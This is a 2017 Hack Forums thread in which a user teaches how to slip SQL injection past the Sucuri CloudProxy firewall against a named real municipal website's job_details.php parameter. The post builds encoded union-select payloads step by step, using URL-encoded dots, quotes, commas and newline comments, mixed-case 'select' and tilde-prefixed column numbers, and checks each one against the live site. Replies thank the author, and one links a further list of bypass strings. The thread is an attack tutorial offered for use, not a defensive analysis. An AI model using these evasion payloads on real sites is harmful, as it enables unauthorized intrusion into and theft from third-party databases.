

Forum:[Hack Forums](#)

Thread: [\[Part-1\] How To Bypass WAF CloudProxy \[deep explanation,Full Information,Full Image\]](#)

InjectorBoy - September 4, 2017, 5:00 pm

Hi EveryBody How are you Hope you all good ^__^

my new leasen 'How To Bypass WAF CloudProxy' I hope you can understand it easily and loved

The Sucuri Firewall is an innovative cloud-based Website Application Firewall (WAF) and Intrusion Prevention System (IPS) for protecting websites. ... Sucuri's approach to mitigating network-based attacks includes investing in resources across all Points of Presence (PoP).

As Sucuri WAF is a proxy between you and the Web server , let's see how to bypassing that Firewall easily and make you directly connected with the Web server and do sex easy sorry I mean and do inject easy .

Our Target Is

PHP Code

```
<?php
```

```
cityofelcampo.org/job_details.php?id=45
```

the site is SQL Injection Strings Based and by using Order By 20 we get Unknown column '20' in 'order clause' so we have 19's column Let us use it quickly .

PHP Code

```
<?php
```

```
cityofelcampo.org/job_details.php?id=.45
```

```
'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%23
```

as we see the waf CloudProxy [the Access Denied - Sucuri Website Firewall] blocked our query

notice : The easiest way to inject this site is here with the post injection or by get the real IP to the target .

as you see easy right ^__^ ok I don't need to inject this site with The easiest way , but I will get it with the hard method and Faked the waf CloudProxy , let's do it with GET inject .

First we must know the Sucuri waf that Prevents from work many thing like

Dot >> .

Space >> id=1 union
Number >> 1,2,3
Comma >> , '
Bracket symbol .Curves >> ()

That's not all but let's Encoding the first part of our query to bypassing the Sucuri waf here

we have here some point to Encoding & bypassing

- 1- the dot . the Encoding will be like %2E
- 2-the comma ' the Encoding will be like %27
- 3-the space the Encoding will be like %20
- 4-the and 0 with union the bypassing will be like and .0union
- 5-the select the bypassing will be by encode Letter c like SeLe%43t
- 6-the combine use of union and select the bypassing will be by adding --%0a between union and select words as UnIOn-- %0ASeLect ,and the --%0a means comment and new line

The final product will be as follows

PHP Code

```
<?php
```

```
id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t
```

let's see if this method of bypassing will allow with the Sucuri waf or not

PHP Code

```
<?php
```

```
cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t
```

well done the Sucuri waf bypassing is good , Let's move on to the second part of our solution of WAF CloudProxy

as we see the bypassing done in part of union select, now let's try to bypassing part two of our query the column number as I say before the Sucuri waf block column number , let's do that's by adding column number one by one too see Where is the problem at every point .

A- adding column number one

PHP Code

```
<?php
```

```
cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t 1
```

the query blocked by the Sucuri waf and to bypassing column number from this waf we will using symbol ~ By placing it before the column number one like ~1

PHP Code

```
<?php
```

cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~1

The waf fell as I expected ok now let's add comma after column number one as 1, and see what will happen from Sucuri waf

PHP Code

```
<?php
```

cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~1,

no thing happen I am very impressed by this

let's add column number two to our query and continue

PHP Code

```
<?php
```

cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~1,2

no thing happen here too let's add the comma like 2,

PHP Code

```
<?php
```

cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~1,2,

Finally happened the Sucuri waf Work and blockd the comma

to bypassing comma we will use Encoding like this %2C

PHP Code

```
<?php
```

cityofelcampo.org/job_details.php?id=%2E45%27%20and%20.0UnIOn--%20-%0ASeLe%43t~1,2%
2C

Leasen will stop here Sorry the forum does not allow all this number of information

Part Two From Here

PHP Code

```
<?php
```

<https://hackforums.net/showthread.php?tid=5710679>

great tutorial. thanks for sharing :D

Cain_ - September 5, 2017, 5:30 am

Awesome post with a lot of great information. Thanks.!

InjectorBoy - September 5, 2017, 10:44 am

(Sep 5, 2017 05:22 AM)kirintux Wrote: [\[CITE\]](#) great tutorial. thanks for sharing :D
you wellcome my friend

(Sep 5, 2017 05:30 AM)GoldenEra Wrote: [\[CITE\]](#) Awesome post with a lot of great information.
Thanks.!
glad to hear that thx

Gardener Jim - September 8, 2017, 4:42 pm

Nice post with good information..

teampoison - September 8, 2017, 7:35 pm

Great Tutorial thanks for sharing brother

InjectorBoy - September 9, 2017, 9:19 pm

thank you so much my friends ^__^

SubZero1992 - September 17, 2017, 6:36 am

Bypass union select all list
h--ps://pastebin.com/tkJ31Ldg

/wrists - September 20, 2017, 1:24 pm

I enjoyed reading this brief. It was very informative.

JaNuS18 - September 20, 2017, 2:15 pm

Sucuri patch their protection in few days. They are reading such forums, are members of FB SQLi groups... They are clever ?

All such tutorials are outdated in no time.

pishicat_Injector - September 20, 2017, 3:24 pm

(Sep 20, 2017 02:15 PM)JaNuS18 Wrote: [\[CITE\]](#) Sucuri patch their protection in few days. They are reading such forums, are members of FB SQLi groups... They are clever ?

All such tutorials are outdated in no time.

This is true. They have a periodic update every 6 months , All public issues have been eliminated
But issues that have not been published will remain safe from these updates